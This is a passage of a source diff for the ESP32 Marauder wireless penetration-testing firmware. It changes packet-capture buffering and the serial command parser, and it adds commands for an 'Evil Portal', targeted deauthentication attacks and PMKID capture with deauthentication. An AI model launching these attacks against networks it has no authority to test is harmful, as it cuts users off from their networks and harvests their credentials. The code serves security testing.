uint8_t GetWarningLevel(void);
|
||||
void SetCoulombClear();
|
||||
void SetLDO2(bool State);
|
||||
void SetPeripherialsPower(uint8_t state);
|
||||
|
||||
// -- Power Off
|
||||
void PowerOff();
|
||||
|
||||
public:
|
||||
void Write1Byte(uint8_t Addr, uint8_t Data);
|
||||
uint8_t Read8bit(uint8_t Addr);
|
||||
uint16_t Read12Bit(uint8_t Addr);
|
||||
uint16_t Read13Bit(uint8_t Addr);
|
||||
uint16_t Read16bit(uint8_t Addr);
|
||||
uint32_t Read24bit(uint8_t Addr);
|
||||
uint32_t Read32bit(uint8_t Addr);
|
||||
void ReadBuff(uint8_t Addr, uint8_t Size, uint8_t *Buff);
|
||||
};
|
||||
|
||||
#endif
|
||||
File diff suppressed because one or more lines are too long
@@ -5,45 +5,39 @@ BatteryInterface::BatteryInterface() {
|
||||
}
|
||||
|
||||
void BatteryInterface::main(uint32_t currentTime) {
|
||||
#ifndef MARAUDER_FLIPPER
|
||||
if (currentTime != 0) {
|
||||
if (currentTime - initTime >= 3000) {
|
||||
//Serial.println("Checking Battery Level");
|
||||
this->initTime = millis();
|
||||
int8_t new_level = this->getBatteryLevel();
|
||||
//this->battery_level = this->getBatteryLevel();
|
||||
if (this->battery_level != new_level) {
|
||||
Serial.println(text00 + (String)new_level);
|
||||
this->battery_level = new_level;
|
||||
}
|
||||
if (currentTime != 0) {
|
||||
if (currentTime - initTime >= 3000) {
|
||||
//Serial.println("Checking Battery Level");
|
||||
this->initTime = millis();
|
||||
int8_t new_level = this->getBatteryLevel();
|
||||
//this->battery_level = this->getBatteryLevel();
|
||||
if (this->battery_level != new_level) {
|
||||
Serial.println(text00 + (String)new_level);
|
||||
this->battery_level = new_level;
|
||||
}
|
||||
}
|
||||
#endif
|
||||
}
|
||||
}
|
||||
|
||||
void BatteryInterface::RunSetup() {
|
||||
#ifndef MARAUDER_FLIPPER
|
||||
Wire.begin(I2C_SDA, I2C_SCL);
|
||||
this->initTime = millis();
|
||||
#endif
|
||||
Wire.begin(I2C_SDA, I2C_SCL);
|
||||
this->initTime = millis();
|
||||
}
|
||||
|
||||
int8_t BatteryInterface::getBatteryLevel() {
|
||||
#ifndef MARAUDER_FLIPPER
|
||||
Wire.beginTransmission(IP5306_ADDR);
|
||||
Wire.write(0x78);
|
||||
if (Wire.endTransmission(false) == 0 &&
|
||||
Wire.requestFrom(0x75, 1)) {
|
||||
this->i2c_supported = true;
|
||||
switch (Wire.read() & 0xF0) {
|
||||
case 0xE0: return 25;
|
||||
case 0xC0: return 50;
|
||||
case 0x80: return 75;
|
||||
case 0x00: return 100;
|
||||
default: return 0;
|
||||
}
|
||||
Wire.beginTransmission(IP5306_ADDR);
|
||||
Wire.write(0x78);
|
||||
if (Wire.endTransmission(false) == 0 &&
|
||||
Wire.requestFrom(0x75, 1)) {
|
||||
this->i2c_supported = true;
|
||||
switch (Wire.read() & 0xF0) {
|
||||
case 0xE0: return 25;
|
||||
case 0xC0: return 50;
|
||||
case 0x80: return 75;
|
||||
case 0x00: return 100;
|
||||
default: return 0;
|
||||
}
|
||||
this->i2c_supported = false;
|
||||
return -1;
|
||||
#endif
|
||||
}
|
||||
this->i2c_supported = false;
|
||||
return -1;
|
||||
}
|
||||
|
||||
@@ -5,9 +5,7 @@
|
||||
|
||||
#include "configs.h"
|
||||
|
||||
#ifndef MARAUDER_FLIPPER
|
||||
#include <Wire.h>
|
||||
#endif
|
||||
#include <Wire.h>
|
||||
|
||||
#define I2C_SDA 33
|
||||
#define I2C_SCL 22
|
||||
|
||||
@@ -6,32 +6,44 @@ Buffer::Buffer(){
|
||||
bufB = (uint8_t*)malloc(BUF_SIZE);
|
||||
}
|
||||
|
||||
void Buffer::open(fs::FS* fs, String fn){
|
||||
void Buffer::createPcapFile(fs::FS* fs, String fn, bool log){
|
||||
int i=0;
|
||||
do{
|
||||
fileName = "/"+fn+"_"+(String)i+".pcap";
|
||||
i++;
|
||||
} while(fs->exists(fileName));
|
||||
if (!log) {
|
||||
do{
|
||||
fileName = "/"+fn+"_"+(String)i+".pcap";
|
||||
i++;
|
||||
} while(fs->exists(fileName));
|
||||
}
|
||||
else {
|
||||
do{
|
||||
fileName = "/"+fn+"_"+(String)i+".log";
|
||||
i++;
|
||||
} while(fs->exists(fileName));
|
||||
}
|
||||
|
||||
Serial.println(fileName);
|
||||
|
||||
file = fs->open(fileName, FILE_WRITE);
|
||||
file.close();
|
||||
}
|
||||
|
||||
void Buffer::open(bool log){
|
||||
bufSizeA = 0;
|
||||
bufSizeB = 0;
|
||||
|
||||
writing = true;
|
||||
|
||||
write(uint32_t(0xa1b2c3d4)); // magic number
|
||||
write(uint16_t(2)); // major version number
|
||||
write(uint16_t(4)); // minor version number
|
||||
write(int32_t(0)); // GMT to local correction
|
||||
write(uint32_t(0)); // accuracy of timestamps
|
||||
write(uint32_t(SNAP_LEN)); // max length of captured packets, in octets
|
||||
write(uint32_t(105)); // data link type
|
||||
|
||||
//useSD = true;
|
||||
bufSizeB = 0;
|
||||
|
||||
writing = true;
|
||||
|
||||
if (!log) {
|
||||
write(uint32_t(0xa1b2c3d4)); // magic number
|
||||
write(uint16_t(2)); // major version number
|
||||
write(uint16_t(4)); // minor version number
|
||||
write(int32_t(0)); // GMT to local correction
|
||||
write(uint32_t(0)); // accuracy of timestamps
|
||||
write(uint32_t(SNAP_LEN)); // max length of captured packets, in octets
|
||||
write(uint32_t(105)); // data link type
|
||||
}
|
||||
}
|
||||
|
||||
void Buffer::close(fs::FS* fs){
|
||||
@@ -41,8 +53,7 @@ void Buffer::close(fs::FS* fs){
|
||||
Serial.println(text01);
|
||||
}
|
||||
|
||||
void Buffer::addPacket(uint8_t* buf, uint32_t len){
|
||||
|
||||
void Buffer::addPacket(uint8_t* buf, uint32_t len, bool log){
|
||||
// buffer is full -> drop packet
|
||||
if((useA && bufSizeA + len >= BUF_SIZE && bufSizeB > 0) || (!useA && bufSizeB + len >= BUF_SIZE && bufSizeA > 0)){
|
||||
//Serial.print(";");
|
||||
@@ -63,10 +74,12 @@ void Buffer::addPacket(uint8_t* buf, uint32_t len){
|
||||
|
||||
microSeconds -= seconds*1000*1000; // e.g. 45200400 - 45*1000*1000 = 45200400 - 45000000 = 400us (because we only need the offset)
|
||||
|
||||
write(seconds); // ts_sec
|
||||
write(microSeconds); // ts_usec
|
||||
write(len); // incl_len
|
||||
write(len); // orig_len
|
||||
if (!log) {
|
||||
write(seconds); // ts_sec
|
||||
write(microSeconds); // ts_usec
|
||||
write(len); // incl_len
|
||||
write(len); // orig_len
|
||||
}
|
||||
|
||||
write(buf, len); // packet payload
|
||||
}
|
||||
@@ -201,3 +214,34 @@ void Buffer::forceSave(fs::FS* fs){
|
||||
saving = false;
|
||||
writing = true;
|
||||
}
|
||||
|
||||
void Buffer::forceSaveSerial() {
|
||||
uint32_t len = bufSizeA + bufSizeB;
|
||||
if(len == 0) return;
|
||||
|
||||
saving = true;
|
||||
writing = false;
|
||||
|
||||
if(useA){
|
||||
if(bufSizeB > 0){
|
||||
Serial1.write(bufB, bufSizeB);
|
||||
bufSizeB = 0;
|
||||
}
|
||||
if(bufSizeA > 0){
|
||||
Serial1.write(bufA, bufSizeA);
|
||||
bufSizeA = 0;
|
||||
}
|
||||
} else {
|
||||
if(bufSizeA > 0){
|
||||
Serial1.write(bufA, bufSizeA);
|
||||
bufSizeA = 0;
|
||||
}
|
||||
if(bufSizeB > 0){
|
||||
Serial1.write(bufB, bufSizeB);
|
||||
bufSizeB = 0;
|
||||
}
|
||||
}
|
||||
|
||||
saving = false;
|
||||
writing = true;
|
||||
}
|
||||
|
||||
@@ -16,11 +16,13 @@ extern Settings settings_obj;
|
||||
class Buffer {
|
||||
public:
|
||||
Buffer();
|
||||
void open(fs::FS* fs, String fn = "");
|
||||
void createPcapFile(fs::FS* fs, String fn = "", bool log = false);
|
||||
void open(bool log = false);
|
||||
void close(fs::FS* fs);
|
||||
void addPacket(uint8_t* buf, uint32_t len);
|
||||
void addPacket(uint8_t* buf, uint32_t len, bool log = false);
|
||||
void save(fs::FS* fs);
|
||||
void forceSave(fs::FS* fs);
|
||||
void forceSaveSerial();
|
||||
private:
|
||||
void write(int32_t n);
|
||||
void write(uint32_t n);
|
||||
|
||||
@@ -9,6 +9,9 @@ void CommandLine::RunSetup() {
|
||||
Serial.println(F("\n\n--------------------------------\n"));
|
||||
Serial.println(F(" ESP32 Marauder \n"));
|
||||
Serial.println(" " + version_number + "\n");
|
||||
#ifdef WRITE_PACKETS_SERIAL
|
||||
Serial.println(F(" >> Serial \n"));
|
||||
#endif
|
||||
Serial.println(F(" By: justcallmekoko\n"));
|
||||
Serial.println(F("--------------------------------\n\n"));
|
||||
|
||||
@@ -36,21 +39,41 @@ void CommandLine::main(uint32_t currentTime) {
|
||||
|
||||
LinkedList<String> CommandLine::parseCommand(String input, char* delim) {
|
||||
LinkedList<String> cmd_args;
|
||||
|
||||
if (input != "") {
|
||||
|
||||
char fancy[input.length() + 1] = {};
|
||||
input.toCharArray(fancy, input.length() + 1);
|
||||
|
||||
char* ptr = strtok(fancy, delim);
|
||||
|
||||
while (ptr != NULL) {
|
||||
cmd_args.add(String(ptr));
|
||||
|
||||
ptr = strtok(NULL, delim);
|
||||
|
||||
bool inQuote = false;
|
||||
bool inApostrophe = false;
|
||||
String buffer = "";
|
||||
|
||||
for (int i = 0; i < input.length(); i++) {
|
||||
char c = input.charAt(i);
|
||||
|
||||
if (c == '"') {
|
||||
// Check if the quote is within an apostrophe
|
||||
if (inApostrophe) {
|
||||
buffer += c;
|
||||
} else {
|
||||
inQuote = !inQuote;
|
||||
}
|
||||
} else if (c == '\'') {
|
||||
// Check if the apostrophe is within a quote
|
||||
if (inQuote) {
|
||||
buffer += c;
|
||||
} else {
|
||||
inApostrophe = !inApostrophe;
|
||||
}
|
||||
} else if (!inQuote && !inApostrophe && strchr(delim, c) != NULL) {
|
||||
cmd_args.add(buffer);
|
||||
buffer = "";
|
||||
} else {
|
||||
buffer += c;
|
||||
}
|
||||
}
|
||||
|
||||
// Add the last argument
|
||||
if (!buffer.isEmpty()) {
|
||||
cmd_args.add(buffer);
|
||||
}
|
||||
|
||||
return cmd_args;
|
||||
}
|
||||
|
||||
@@ -93,6 +116,85 @@ bool CommandLine::hasSSIDs() {
|
||||
return true;
|
||||
}
|
||||
|
||||
void CommandLine::showCounts(int selected, int unselected) {
|
||||
Serial.print((String) selected + " selected");
|
||||
|
||||
if (unselected != -1)
|
||||
Serial.print(", " + (String) unselected + " unselected");
|
||||
|
||||
Serial.println("");
|
||||
}
|
||||
|
||||
String CommandLine::toLowerCase(String str) {
|
||||
String result = str;
|
||||
for (int i = 0; i < str.length(); i++) {
|
||||
int charValue = str.charAt(i);
|
||||
if (charValue >= 65 && charValue <= 90) { // ASCII codes for uppercase letters
|
||||
charValue += 32;
|
||||
result.setCharAt(i, char(charValue));
|
||||
}
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
void CommandLine::filterAccessPoints(String filter) {
|
||||
int count_selected = 0;
|
||||
int count_unselected = 0;
|
||||
|
||||
// Split the filter string into individual filters
|
||||
LinkedList<String> filters;
|
||||
int start = 0;
|
||||
int end = filter.indexOf(" or ");
|
||||
while (end != -1) {
|
||||
filters.add(filter.substring(start, end));
|
||||
start = end + 4;
|
||||
end = filter.indexOf(" or ", start);
|
||||
}
|
||||
filters.add(filter.substring(start));
|
||||
|
||||
// Loop over each access point and check if it matches any of the filters
|
||||
for (int i = 0; i < access_points->size(); i++) {
|
||||
bool matchesFilter = false;
|
||||
for (int j = 0; j < filters.size(); j++) {
|
||||
String f = toLowerCase(filters.get(j));
|
||||
if (f.substring(0, 7) == "equals ") {
|
||||
String ssidEquals = f.substring(7);
|
||||
if ((ssidEquals.charAt(0) == '\"' && ssidEquals.charAt(ssidEquals.length() - 1) == '\"' && ssidEquals.length() > 1) ||
|
||||
(ssidEquals.charAt(0) == '\'' && ssidEquals.charAt(ssidEquals.length() - 1) == '\'' && ssidEquals.length() > 1)) {
|
||||
ssidEquals = ssidEquals.substring(1, ssidEquals.length() - 1);
|
||||
}
|
||||
if (access_points->get(i).essid.equalsIgnoreCase(ssidEquals)) {
|
||||
matchesFilter = true;
|
||||
break;
|
||||
}
|
||||
} else if (f.substring(0, 9) == "contains ") {
|
||||
String ssidContains = f.substring(9);
|
||||
if ((ssidContains.charAt(0) == '\"' && ssidContains.charAt(ssidContains.length() - 1) == '\"' && ssidContains.length() > 1) ||
|
||||
(ssidContains.charAt(0) == '\'' && ssidContains.charAt(ssidContains.length() - 1) == '\'' && ssidContains.length() > 1)) {
|
||||
ssidContains = ssidContains.substring(1, ssidContains.length() - 1);
|
||||
}
|
||||
String essid = toLowerCase(access_points->get(i).essid);
|
||||
if (essid.indexOf(ssidContains) != -1) {
|
||||
matchesFilter = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
// Toggles the selected state of the AP
|
||||
AccessPoint new_ap = access_points->get(i);
|
||||
new_ap.selected = matchesFilter;
|
||||
access_points->set(i, new_ap);
|
||||
|
||||
if (matchesFilter) {
|
||||
count_selected++;
|
||||
} else {
|
||||
count_unselected++;
|
||||
}
|
||||
}
|
||||
|
||||
this->showCounts(count_selected, count_unselected);
|
||||
}
|
||||
|
||||
void CommandLine::runCommand(String input) {
|
||||
if (input != "")
|
||||
Serial.println("#" + input);
|
||||
@@ -109,13 +211,16 @@ void CommandLine::runCommand(String input) {
|
||||
Serial.println(HELP_CH_CMD);
|
||||
Serial.println(HELP_SETTINGS_CMD);
|
||||
Serial.println(HELP_CLEARAP_CMD_A);
|
||||
Serial.println(HELP_CLEARAP_CMD_B);
|
||||
Serial.println(HELP_REBOOT_CMD);
|
||||
Serial.println(HELP_UPDATE_CMD_A);
|
||||
Serial.println(HELP_UPDATE_CMD_B);
|
||||
Serial.println(HELP_LS_CMD);
|
||||
Serial.println(HELP_LED_CMD);
|
||||
|
||||
// WiFi sniff/scan
|
||||
Serial.println(HELP_EVIL_PORTAL_CMD);
|
||||
Serial.println(HELP_SIGSTREN_CMD);
|
||||
Serial.println(HELP_SCANAP_CMD);
|
||||
Serial.println(HELP_SCANSTA_CMD);
|
||||
Serial.println(HELP_SNIFF_RAW_CMD);
|
||||
Serial.println(HELP_SNIFF_BEACON_CMD);
|
||||
Serial.println(HELP_SNIFF_PROBE_CMD);
|
||||
@@ -131,10 +236,11 @@ void CommandLine::runCommand(String input) {
|
||||
// WiFi Aux
|
||||
Serial.println(HELP_LIST_AP_CMD_A);
|
||||
Serial.println(HELP_LIST_AP_CMD_B);
|
||||
Serial.println(HELP_LIST_AP_CMD_C);
|
||||
Serial.println(HELP_SEL_CMD_A);
|
||||
Serial.println(HELP_SEL_CMD_B);
|
||||
Serial.println(HELP_SSID_CMD_A);
|
||||
Serial.println(HELP_SSID_CMD_B);
|
||||
Serial.println(HELP_JOIN_WIFI_CMD);
|
||||
|
||||
// Bluetooth sniff/scan
|
||||
Serial.println(HELP_BT_SNIFF_CMD);
|
||||
@@ -145,15 +251,15 @@ void CommandLine::runCommand(String input) {
|
||||
|
||||
// Stop Scan
|
||||
if (cmd_args.get(0) == STOPSCAN_CMD) {
|
||||
if (wifi_scan_obj.currentScanMode == OTA_UPDATE) {
|
||||
wifi_scan_obj.currentScanMode = WIFI_SCAN_OFF;
|
||||
//if (wifi_scan_obj.currentScanMode == OTA_UPDATE) {
|
||||
// wifi_scan_obj.currentScanMode = WIFI_SCAN_OFF;
|
||||
//#ifdef HAS_SCREEN
|
||||
// menu_function_obj.changeMenu(menu_function_obj.updateMenu.parentMenu);
|
||||
//#endif
|
||||
WiFi.softAPdisconnect(true);
|
||||
web_obj.shutdownServer();
|
||||
return;
|
||||
}
|
||||
// WiFi.softAPdisconnect(true);
|
||||
// web_obj.shutdownServer();
|
||||
// return;
|
||||
//}
|
||||
|
||||
wifi_scan_obj.StartScan(WIFI_SCAN_OFF);
|
||||
|
||||
@@ -165,6 +271,47 @@ void CommandLine::runCommand(String input) {
|
||||
menu_function_obj.changeMenu(menu_function_obj.current_menu);
|
||||
#endif
|
||||
}
|
||||
// LED command
|
||||
else if (cmd_args.get(0) == LED_CMD) {
|
||||
int hex_arg = this->argSearch(&cmd_args, "-s");
|
||||
int pat_arg = this->argSearch(&cmd_args, "-p");
|
||||
#ifdef PIN
|
||||
if (hex_arg != -1) {
|
||||
String hexstring = cmd_args.get(hex_arg + 1);
|
||||
int number = (int)strtol(&hexstring[1], NULL, 16);
|
||||
int r = number >> 16;
|
||||
int g = number >> 8 & 0xFF;
|
||||
int b = number & 0xFF;
|
||||
//Serial.println(r);
|
||||
//Serial.println(g);
|
||||
//Serial.println(b);
|
||||
led_obj.setColor(r, g, b);
|
||||
led_obj.setMode(MODE_CUSTOM);
|
||||
}
|
||||
else if (pat_arg != -1) {
|
||||
String pat_name = cmd_args.get(pat_arg + 1);
|
||||
pat_name.toLowerCase();
|
||||
if (pat_name == "rainbow") {
|
||||
led_obj.setMode(MODE_RAINBOW);
|
||||
}
|
||||
}
|
||||
#else
|
||||
Serial.println("This hardware does not support neopixel");
|
||||
#endif
|
||||
}
|
||||
// ls command
|
||||
else if (cmd_args.get(0) == LS_CMD) {
|
||||
#ifdef HAS_SD
|
||||
if (cmd_args.size() > 1)
|
||||
sd_obj.listDir(cmd_args.get(1));
|
||||
else
|
||||
Serial.println("You did not provide a dir to list");
|
||||
#else
|
||||
Serial.println("SD support disabled, cannot use command");
|
||||
return;
|
||||
#endif
|
||||
}
|
||||
|
||||
// Channel command
|
||||
else if (cmd_args.get(0) == CH_CMD) {
|
||||
// Search for channel set arg
|
||||
@@ -183,12 +330,28 @@ void CommandLine::runCommand(String input) {
|
||||
else if (cmd_args.get(0) == CLEARAP_CMD) {
|
||||
int ap_sw = this->argSearch(&cmd_args, "-a"); // APs
|
||||
int ss_sw = this->argSearch(&cmd_args, "-s"); // SSIDs
|
||||
int cl_sw = this->argSearch(&cmd_args, "-c"); // Stations
|
||||
|
||||
if (ap_sw != -1)
|
||||
if (ap_sw != -1) {
|
||||
#ifdef HAS_SCREEN
|
||||
menu_function_obj.changeMenu(&menu_function_obj.clearAPsMenu);
|
||||
#endif
|
||||
wifi_scan_obj.RunClearAPs();
|
||||
}
|
||||
|
||||
if (ss_sw != -1)
|
||||
if (ss_sw != -1) {
|
||||
#ifdef HAS_SCREEN
|
||||
menu_function_obj.changeMenu(&menu_function_obj.clearSSIDsMenu);
|
||||
#endif
|
||||
wifi_scan_obj.RunClearSSIDs();
|
||||
}
|
||||
|
||||
if (cl_sw != -1) {
|
||||
#ifdef HAS_SCREEN
|
||||
menu_function_obj.changeMenu(&menu_function_obj.clearAPsMenu);
|
||||
#endif
|
||||
wifi_scan_obj.RunClearStations();
|
||||
}
|
||||
}
|
||||
|
||||
else if (cmd_args.get(0) == SETTINGS_CMD) {
|
||||
@@ -231,9 +394,44 @@ void CommandLine::runCommand(String input) {
|
||||
|
||||
//// WiFi/Bluetooth Scan/Attack commands
|
||||
if (!wifi_scan_obj.scanning()) {
|
||||
|
||||
// Signal strength scan
|
||||
if (cmd_args.get(0) == SIGSTREN_CMD) {
|
||||
Serial.println("Starting Signal Strength Scan. Stop with " + (String)STOPSCAN_CMD);
|
||||
#ifdef HAS_SCREEN
|
||||
display_obj.clearScreen();
|
||||
menu_function_obj.drawStatusBar();
|
||||
#endif
|
||||
wifi_scan_obj.StartScan(WIFI_SCAN_SIG_STREN, TFT_MAGENTA);
|
||||
}
|
||||
// AP Scan
|
||||
if (cmd_args.get(0) == SCANAP_CMD) {
|
||||
else if (cmd_args.get(0) == EVIL_PORTAL_CMD) {
|
||||
int cmd_sw = this->argSearch(&cmd_args, "-c");
|
||||
|
||||
if (cmd_sw != -1) {
|
||||
String et_command = cmd_args.get(cmd_sw + 1);
|
||||
if (et_command == "start") {
|
||||
Serial.println("Starting Evil Portal. Stop with " + (String)STOPSCAN_CMD);
|
||||
#ifdef HAS_SCREEN
|
||||
display_obj.clearScreen();
|
||||
menu_function_obj.drawStatusBar();
|
||||
#endif
|
||||
wifi_scan_obj.StartScan(WIFI_SCAN_EVIL_PORTAL, TFT_MAGENTA);
|
||||
}
|
||||
else if (et_command == "reset") {
|
||||
|
||||
}
|
||||
else if (et_command == "ack") {
|
||||
|
||||
}
|
||||
else if (et_command == "sethtml") {
|
||||
|
||||
}
|
||||
else if (et_command == "setap") {
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
else if (cmd_args.get(0) == SCANAP_CMD) {
|
||||
int full_sw = -1;
|
||||
#ifdef HAS_SCREEN
|
||||
display_obj.clearScreen();
|
||||
@@ -258,6 +456,18 @@ void CommandLine::runCommand(String input) {
|
||||
#endif
|
||||
wifi_scan_obj.StartScan(WIFI_SCAN_RAW_CAPTURE, TFT_WHITE);
|
||||
}
|
||||
// Scan stations
|
||||
else if (cmd_args.get(0) == SCANSTA_CMD) {
|
||||
if(access_points->size() < 1)
|
||||
Serial.println("The AP list is empty. Scan APs first with " + (String)SCANAP_CMD);
|
||||
|
||||
Serial.println("Starting Station scan. Stop with " + (String)STOPSCAN_CMD);
|
||||
#ifdef HAS_SCREEN
|
||||
display_obj.clearScreen();
|
||||
menu_function_obj.drawStatusBar();
|
||||
#endif
|
||||
wifi_scan_obj.StartScan(WIFI_SCAN_STATION, TFT_ORANGE);
|
||||
}
|
||||
// Beacon sniff
|
||||
else if (cmd_args.get(0) == SNIFF_BEACON_CMD) {
|
||||
Serial.println("Starting Beacon sniff. Stop with " + (String)STOPSCAN_CMD);
|
||||
@@ -307,6 +517,14 @@ void CommandLine::runCommand(String input) {
|
||||
else if (cmd_args.get(0) == SNIFF_PMKID_CMD) {
|
||||
int ch_sw = this->argSearch(&cmd_args, "-c");
|
||||
int d_sw = this->argSearch(&cmd_args, "-d"); // Deauth for pmkid
|
||||
int l_sw = this->argSearch(&cmd_args, "-l"); // Only run on list
|
||||
|
||||
if (l_sw != -1) {
|
||||
if (!this->apSelected()) {
|
||||
Serial.println("You don't have any targets selected. Use " + (String)SEL_CMD);
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
if (ch_sw != -1) {
|
||||
wifi_scan_obj.set_channel = cmd_args.get(ch_sw + 1).toInt();
|
||||
@@ -319,11 +537,15 @@ void CommandLine::runCommand(String input) {
|
||||
Serial.println("Starting PMKID sniff on channel " + (String)wifi_scan_obj.set_channel + ". Stop with " + (String)STOPSCAN_CMD);
|
||||
wifi_scan_obj.StartScan(WIFI_SCAN_EAPOL, TFT_VIOLET);
|
||||
}
|
||||
else if ((d_sw != -1) && (l_sw != -1)) {
|
||||
Serial.println("Starting TARGETED PMKID sniff with deauthentication on channel " + (String)wifi_scan_obj.set_channel + ". Stop with " + (String)STOPSCAN_CMD);
|
||||
wifi_scan_obj.StartScan(WIFI_SCAN_ACTIVE_LIST_EAPOL, TFT_VIOLET);
|
||||
}
|
||||
else {
|
||||
Serial.println("Starting PMKID sniff with deauthentication on channel " + (String)wifi_scan_obj.set_channel + ". Stop with " + (String)STOPSCAN_CMD);
|
||||
wifi_scan_obj.StartScan(WIFI_SCAN_ACTIVE_EAPOL, TFT_VIOLET);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
//// WiFi attack commands
|
||||
// attack
|
||||
@@ -334,6 +556,7 @@ void CommandLine::runCommand(String input) {
|
||||
int ap_beacon_sw = this->argSearch(&cmd_args, "-a");
|
||||
int src_addr_sw = this->argSearch(&cmd_args, "-s");
|
||||
int dst_addr_sw = this->argSearch(&cmd_args, "-d");
|
||||
int targ_sw = this->argSearch(&cmd_args, "-c");
|
||||
|
||||
if (attack_type_switch == -1) {
|
||||
Serial.println("You must specify an attack type");
|
||||
@@ -345,14 +568,21 @@ void CommandLine::runCommand(String input) {
|
||||
// Branch on attack type
|
||||
// Deauth
|
||||
if (attack_type == ATTACK_TYPE_DEAUTH) {
|
||||
if (dst_addr_sw == -1) {
|
||||
// Default to broadcast
|
||||
if ((dst_addr_sw == -1) && (targ_sw == -1)) {
|
||||
Serial.println("Sending to broadcast...");
|
||||
wifi_scan_obj.dst_mac = "ff:ff:ff:ff:ff:ff";
|
||||
}
|
||||
else {
|
||||
// Dest addr specified
|
||||
else if (dst_addr_sw != -1) {
|
||||
wifi_scan_obj.dst_mac = cmd_args.get(dst_addr_sw + 1);
|
||||
Serial.println("Sending to " + wifi_scan_obj.dst_mac + "...");
|
||||
}
|
||||
// Station list specified
|
||||
else if (targ_sw != -1)
|
||||
Serial.println("Sending to Station list");
|
||||
|
||||
// Source addr not specified
|
||||
if (src_addr_sw == -1) {
|
||||
if (!this->apSelected()) {
|
||||
Serial.println("You don't have any targets selected. Use " + (String)SEL_CMD);
|
||||
@@ -363,8 +593,14 @@ void CommandLine::runCommand(String input) {
|
||||
menu_function_obj.drawStatusBar();
|
||||
#endif
|
||||
Serial.println("Starting Deauthentication attack. Stop with " + (String)STOPSCAN_CMD);
|
||||
wifi_scan_obj.StartScan(WIFI_ATTACK_DEAUTH, TFT_RED);
|
||||
// Station list not specified
|
||||
if (targ_sw == -1)
|
||||
wifi_scan_obj.StartScan(WIFI_ATTACK_DEAUTH, TFT_RED);
|
||||
// Station list specified
|
||||
else
|
||||
wifi_scan_obj.StartScan(WIFI_ATTACK_DEAUTH_TARGETED, TFT_ORANGE);
|
||||
}
|
||||
// Source addr specified
|
||||
else {
|
||||
String src_mac_str = cmd_args.get(src_addr_sw + 1);
|
||||
sscanf(src_mac_str.c_str(), "%2hhx:%2hhx:%2hhx:%2hhx:%2hhx:%2hhx",
|
||||
@@ -449,71 +685,119 @@ void CommandLine::runCommand(String input) {
|
||||
//// Bluetooth scan/attack commands
|
||||
// Bluetooth scan
|
||||
if (cmd_args.get(0) == BT_SNIFF_CMD) {
|
||||
Serial.println("Starting Bluetooth scan. Stop with " + (String)STOPSCAN_CMD);
|
||||
#ifdef HAS_SCREEN
|
||||
display_obj.clearScreen();
|
||||
menu_function_obj.drawStatusBar();
|
||||
#ifdef HAS_BT
|
||||
Serial.println("Starting Bluetooth scan. Stop with " + (String)STOPSCAN_CMD);
|
||||
#ifdef HAS_SCREEN
|
||||
display_obj.clearScreen();
|
||||
menu_function_obj.drawStatusBar();
|
||||
#endif
|
||||
wifi_scan_obj.StartScan(BT_SCAN_ALL, TFT_GREEN);
|
||||
#else
|
||||
Serial.println("Bluetooth not supported");
|
||||
#endif
|
||||
wifi_scan_obj.StartScan(BT_SCAN_ALL, TFT_GREEN);
|
||||
}
|
||||
// Bluetooth CC Skimmer scan
|
||||
else if (cmd_args.get(0) == BT_SKIM_CMD) {
|
||||
Serial.println("Starting Bluetooth CC Skimmer scan. Stop with " + (String)STOPSCAN_CMD);
|
||||
#ifdef HAS_SCREEN
|
||||
display_obj.clearScreen();
|
||||
menu_function_obj.drawStatusBar();
|
||||
#ifdef HAS_BT
|
||||
Serial.println("Starting Bluetooth CC Skimmer scan. Stop with " + (String)STOPSCAN_CMD);
|
||||
#ifdef HAS_SCREEN
|
||||
display_obj.clearScreen();
|
||||
menu_function_obj.drawStatusBar();
|
||||
#endif
|
||||
wifi_scan_obj.StartScan(BT_SCAN_SKIMMERS, TFT_MAGENTA);
|
||||
#else
|
||||
Serial.println("Bluetooth not supported");
|
||||
#endif
|
||||
wifi_scan_obj.StartScan(BT_SCAN_SKIMMERS, TFT_MAGENTA);
|
||||
}
|
||||
|
||||
// Update command
|
||||
if (cmd_args.get(0) == UPDATE_CMD) {
|
||||
int w_sw = this->argSearch(&cmd_args, "-w"); // Web update
|
||||
//int w_sw = this->argSearch(&cmd_args, "-w"); // Web update
|
||||
int sd_sw = this->argSearch(&cmd_args, "-s"); // SD Update
|
||||
|
||||
// Update via OTA
|
||||
if (w_sw != -1) {
|
||||
Serial.println("Starting Marauder OTA Update. Stop with " + (String)STOPSCAN_CMD);
|
||||
wifi_scan_obj.currentScanMode = OTA_UPDATE;
|
||||
//if (w_sw != -1) {
|
||||
// Serial.println("Starting Marauder OTA Update. Stop with " + (String)STOPSCAN_CMD);
|
||||
// wifi_scan_obj.currentScanMode = OTA_UPDATE;
|
||||
//#ifdef HAS_SCREEN
|
||||
// menu_function_obj.changeMenu(menu_function_obj.updateMenu);
|
||||
//#endif
|
||||
web_obj.setupOTAupdate();
|
||||
}
|
||||
// web_obj.setupOTAupdate();
|
||||
//}
|
||||
// Update via SD
|
||||
else if (sd_sw != -1) {
|
||||
if (!sd_obj.supported) {
|
||||
Serial.println("SD card is not connected. Cannot perform SD Update");
|
||||
return;
|
||||
}
|
||||
if (sd_sw != -1) {
|
||||
#ifdef HAS_SD
|
||||
#ifndef WRITE_PACKETS_SERIAL
|
||||
if (!sd_obj.supported) {
|
||||
Serial.println("SD card is not connected. Cannot perform SD Update");
|
||||
return;
|
||||
}
|
||||
wifi_scan_obj.currentScanMode = OTA_UPDATE;
|
||||
sd_obj.runUpdate();
|
||||
#else
|
||||
Serial.println("SD card not initialized. Cannot perform SD Update");
|
||||
#endif
|
||||
#else
|
||||
Serial.println("SD card support disabled. Cannot perform SD Update");
|
||||
return;
|
||||
#endif
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
int count_selected = 0;
|
||||
//// WiFi aux commands
|
||||
// List access points
|
||||
if (cmd_args.get(0) == LIST_AP_CMD) {
|
||||
int ap_sw = this->argSearch(&cmd_args, "-a");
|
||||
int ss_sw = this->argSearch(&cmd_args, "-s");
|
||||
int cl_sw = this->argSearch(&cmd_args, "-c");
|
||||
|
||||
// List APs
|
||||
if (ap_sw != -1) {
|
||||
for (int i = 0; i < access_points->size(); i++) {
|
||||
if (access_points->get(i).selected)
|
||||
